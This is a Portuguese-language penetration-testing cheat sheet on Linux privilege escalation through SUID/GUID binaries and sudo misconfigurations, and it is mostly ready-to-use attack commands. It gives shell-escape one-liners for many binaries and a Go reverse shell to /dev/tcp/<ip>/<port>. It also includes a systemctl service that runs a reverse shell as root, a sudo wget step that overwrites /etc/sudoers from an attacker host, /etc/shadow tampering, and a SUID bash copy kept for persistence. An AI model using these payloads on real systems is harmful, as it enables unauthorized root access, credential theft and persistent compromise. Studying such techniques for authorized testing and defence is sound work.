SUID / GUID

Conceito

Quando temos o caractere s em vez de x indica que o bit SUID está ativo. Exemplo:

-rwsr-xr-x 1 root  root    48 Aug  7 17:03 arquivo_teste

Para encontrar arquivo com SUID ativo, execute:

find / -perm -u=s -type f -exec ls -lh {} \; 2>/dev/null

E para localizar arquivo com GUID:

find / -perm -g=s -type f -exec ls -lh {} \; 2>/dev/null

Procurando por Arquivos com Permissões Elevadas

# Permissão SUID
# Procurando por binários que possuem o setuid ativo
find / -perm -4000 -ls 2> /dev/null
find / -perm -4000 -type f -ls 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -4000 -exec ls -al -print 2>/dev/null {} \;

# Procurando por arquivo do root que possuem suidbit ativo
find / -user root -type f -perm -4000 -ls 2>/dev/null

find / -perm -u=s -type f -ls 2>/dev/null
find / -perm -u=s 2>/dev/null

# Arquivos do root com permissão de escrita
find / -type f -user root -perm -o+w -ls 2>/dev/null
# Arquivos do root com permissão de leitura
find / -type f -perm -o+r -ls 2>/dev/null

# Arquivos com SUID bit que podem ser executados por outros usuários
find / -uid 0 -perm -4000 -type f 2>/dev/null
find / -type f -user root -perm /u+s -ls 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -group root 2>/dev/null

# Arquivos com permissão de execução
find / -xdev (-perm 4000) -type f -print0 -exec ls -s {} \;

# Permissão GUID
find / -type f -perm -02000 -ls 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# Arquivos que pertecem ao usuário atual
find / -type f -user $(whoami) -ls 2>/dev/null

# Arquivos disponíveis para leitura e gravação
find / -perm 2 ! -type l -ls 2>/dev/null

# Arquivos graváveis por qualquer usuário
find / -perm -2 -type f -print 2>/dev/null

# Sticky Bit - Somente o proprietário do diretório ou o proprietário de um arquivo pode excluir ou renomear aqui
find / -perm -1000 -type d 2>/dev/null

# GUID (chmod 2000) - Executa como o grupo e não com o usuário que o iniciou
find / -perm -g=s -type f 2>/dev/null

# GUID or SUID
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null

# Procurando em lugares "comuns": /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin e qualquer outro *bin, com GUID ou SUID (Quicker search)
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done

# Iniciando a partir da raiz (/), GUID ou SUID, que não são Links Simbólicos, com apenas 3 diretórios, listando com mais detalhes e ocultando os erros, por exemplo: permissão negada
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Caso ache alguma linguagem de programação com permissões de root, utilize-a para chamar uma shell. Todos esses arquivos, estão vulneráveis a PrivEsc, caso tenha permissões incorretas: xxd, vi, more, less, cp, cat, bash, ash, sh, csh, curl, dash, pico, nano, vrim, tclsh, git, scp, expect, ftp, socat, script, ssh, zsh, tclsh, strace, npm, rsync, tar, Screen-4.5.00.

Bash

DICA: Sempre que conseguir ter acesso root, podemos fazer uma cópia do bash com SUID ativo para acessarmos diretamente. Para isso basta executar os comandos: cp /bin/bash /tmp/bash; chmod +s /tmp/bash ; /tmp/bash

Para deixar o bash com o SUID bit ativo, pdoemos utilizar um dos seguintes comandos:

chmod 7777 /bin/bash
chmod u+s /bin/bash
chmod 4711 /bin/bash
chmod 2711 /bin/bash
chmod %2bs /bin/bash

Após isso, basta acessar o bash com permissão elevadas.

bash -p
</path/to/bash> -p

Python

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Perl

perl -e 'exec "/bin/sh"'
perl -e 'print `/bin/bash`'
perl -e 'system("/bin/bash")'

Go Lang

Crie um arquivo chamado exploit.go com o seguinte conteúdo.

package main

import ("os/exec")

func main() {
    exec.Command("bash", "-c", "bash -i >& /dev/tcp/<ip>/<port> 0>&1").Run()
}

Agora execute.

sudo /usr/local/go/bin/go run exploit.go

systemctl

O systemctl é responsável por gerenciar serviços (inicializar, parar, ver status, etc) e quando temos eles com o SUID ativo (vide abaixo), podemos executar como se fôssemos o root

-rwsr-x--- 1 root <common_user> 174K Feb 17 03:22 /bin/systemctl

Seguindo isso podemos então, criar um serviço próprio e dar um start nele em nome do root. Primeiro vamos criar o nosso serviço em um arquivo chamado vuln.service.

[Unit]
Description=ShellRoot
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=1
User=root
ExecStart=<command>
ExecReload=<command>

[Install]
WantedBy=multi-user.target
Alias=vuln.service

No <command> podemos utiizar uma shell reversa, algum arquivo python (ou qualquer outra linguagem) que contenha uma shell reversa. Ou se preferir, simplesmente executar um comando em específico.

Execute os comandos

systemctl enable </path/to/vuln.service>
systemctl start vuln.service

OBS.: Isso deve gerar um Link Simbólico para o serviço. Caso não dê certo, utilize o caminho completo do systemctl, que pode ser obtido através do comando which systemctl.

suid-env

Geralmente este está localizado em /usr/local/bin/suid-env.

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/exploit.c
gcc /tmp/exploit.c -o /tmp/exploit
export PATH=/tmp:$PATH
/usr/local/bin/suid-env
id

dpkg

sudo dpkg -l
!/bin/sh

VI

Caso o VI possa ser executado como root, podemos escalar privilégios digitando um dos comandos abaixo que irá abrir uma shell com acesso root:

(esc) :!bash
(esc) :!sh
(esc) :shell

Se preferir, também é possível realizar esse processo em um só comando

sudo /usr/bin/vi teste -c ':!bash'

nano

sudo nano <file>

Depois de abrir o nano, pressione CTRL+R, CTRL+X, e depois execute:

reset; sh 1>&0 2>&0

find

find / -exec /bin/bash \;
find / -exec /bin/bash -p \;
find / -exec /bin/sh -p \; -quit

awk

# Acesso ao bash
awk 'BEGIN {system("/bin/bash")}'

# Lendo arquivos
awk '{print}' <path/file>

cp/mv

Copie o arquivo /etc/shadow para a /tmp, altere-o dando permissão de acesso ou alterando a senha e copie de voltar para o seu lugar. O mesmo também pode ser feito com o arquivo /etc/sudoers

find

sudo find / -exec bash -i \;
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;

less/more

Com o less ou more é possível ir para o vi e depois acessar o shell. Execute o comando less ou more em um arquivo que seja maior que sua tela, assim irá aparecer as opções de comando no final da tela

sudo less /etc/shadow
!/bin/bash

# Ou
sudo less /etc/shadow
v
:shell

man

sudo man man
!/bin/sh

FTP

Para chamar uma shell interativa, execute o comando abaixo, depois de acessar via FTP.

!/bin/sh

wget

Execute os seguintes comandos:

echo '<user> ALL = (root) NOPASSWD: /bin/sh' > /etc/sudoers
python -m SimpleHTTPServer

Agora no host alvo, execute:

sudo wget http://<ip_atacante>:8000/sudoers -O /etc/sudoers

socat

sudo socat stdin exec:/bin/sh

tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

O -Z root é necessário nas distribuições baseadas no RedHat (Fedora, CentOS etc), pois corrigem o pacote tcpdump para eliminar privilégios de root antes de manipular os arquivos de salvamento.

git pull

Note que para este cenário, precisamos da permissão para executar somente o git pull, e não somente o git.

cd </path/to/repository>
vi .git/hooks/post-merge
# Insira o código de alguma reverse shell ou o código que deseja executar como root
chmod +x .git/hooks/post-merge

Agora é preciso realizar alguma alteração no repositório e mergear com a branch atual (pode ser a master) e depois execute o comando abaixo para executar o código de .git/hooks/post-merge como root

sudo git pull

strace

# Escreva e compile um binary C++ com SUID
strace chown root:root suid
strace chmod u+s suid
./suid

npm

ln -s /etc/shadow package.json && sudo /usr/bin/npm i *

journalctl

sudo journalctl

Assim o terminal exibir a execução, execute:

!/bin/sh.

Last updated